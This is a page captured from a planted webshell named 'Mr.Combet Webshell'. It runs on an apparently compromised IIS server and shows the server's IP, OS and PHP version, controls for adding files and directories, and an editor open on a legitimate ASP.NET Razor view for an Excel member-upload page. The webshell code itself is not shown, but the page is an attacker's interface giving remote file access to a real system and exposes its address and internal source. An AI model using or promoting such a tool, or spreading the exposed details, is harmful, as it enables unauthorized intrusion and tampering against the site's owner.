Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
HeiferMember
/
Edit File Name :
Index.cshtml
@{ ViewBag.Title = "Index"; Layout = "~/Views/Shared/_Layout.cshtml"; } @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ var meta = AppUserService.GetCurrent(); } <style> .notification, .notificationerror { width: 320px; height: auto; min-height: 50px; background-color: #18a689; color: white; text-align: center; border-radius: 6px; padding: 15px 20px; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); display: none; z-index: 9999; box-shadow: 0px 4px 12px rgba(0, 0, 0, 0.3); font-size: 16px; font-weight: 500; } .notificationerror a { color: #ffe082; text-decoration: underline; margin-left: 10px; } </style> <h2>Index</h2> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <form id="ExcelUpload" enctype="multipart/form-data"> <div class="row"> <div class="col-lg-5"> @*<nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="#"><strong>ADBL Branch</strong></a></li> <li class="breadcrumb-item active"><a href="#"><strong>List</strong></a></li> </ol> </nav>*@ <input type="file" id="FileUpload" name="FileUpload" class="" /> </div> <div class="col-lg-offset-5 col-lg-2 "> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { @*<a href="/HeiferMember/ExcelUpload" class="btn btn-primary pull-right">Upload Excel</a>*@ <input type="submit" value="Upload Excel" class="btn btn-primary" id="btnSubmit" /> } </div> </div> </form> <hr style="margin-top:5px;margin-bottom:20px" /> </div> </div> <div class="notification"> Uploaded Successfully </div> <div class="notificationerror"> Uploaded Successfully. But mapping error in some imports. </div> </div> </div> </div> <script> $("#ExcelUpload").submit(function (e) { WorkForce.loader.show(); $('#btnSubmit').prop('disabled', true); e.preventDefault(); // avoid to execute the actual submit of the form. var formData = new FormData($("form")[0]); debugger $.ajax({ type: "POST", url: "/HeiferMember/ExcelUpload", data: formData, success: function (data) { if (data == 200) { //ShowMessage("success", "Data uploaded successfully"); WorkForce.loader.hide(); window.location = "/HeiferMember/Upload"; ShowMessage("Successfully Uploaded"); } else $.ajax({ type: "GET", url: "/HeiferMember/GetFailedImportCount", //Gets the count of incomplete member imports success: function (response) { WorkForce.loader.hide(); if (response.failedCount > 0) { var dat = document.getElementsByClassName('notificationerror'); dat[0].innerHTML = ` Uploaded Successfully. But mapping error found in ${response.failedCount} record(s). <a href='/HeiferMember/FailedImports' style='color:#ffc107; text-decoration:underline; margin-left:10px;'>View more</a> <button id='okButton' style='margin-left: 15px; padding: 2px 8px; border: none; background-color: #ffffff22; color: white; border-radius: 4px;'>OK</button>`; dat[0].style.display = 'block'; // Add click event for OK button document.getElementById('okButton').addEventListener('click', function () { dat[0].style.display = 'none'; window.location = "/HeiferMember/Upload"; }); } else { //show notification on success var dat = document.getElementsByClassName('notification'); dat[0].style.display = 'block'; setTimeout(function () { dat[0].style.display = 'none'; window.location = "/HeiferMember/Upload"; }, 2000); } }, error: function () { WorkForce.loader.hide(); ShowMessage("Upload complete, but failed to retrieve error count."); window.location = "/HeiferMember/Upload"; } }); }, error: function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); setTimeout(function () { window.location.reload(); }, 2000); }, processData: false, contentType: false }); }); </script>
Save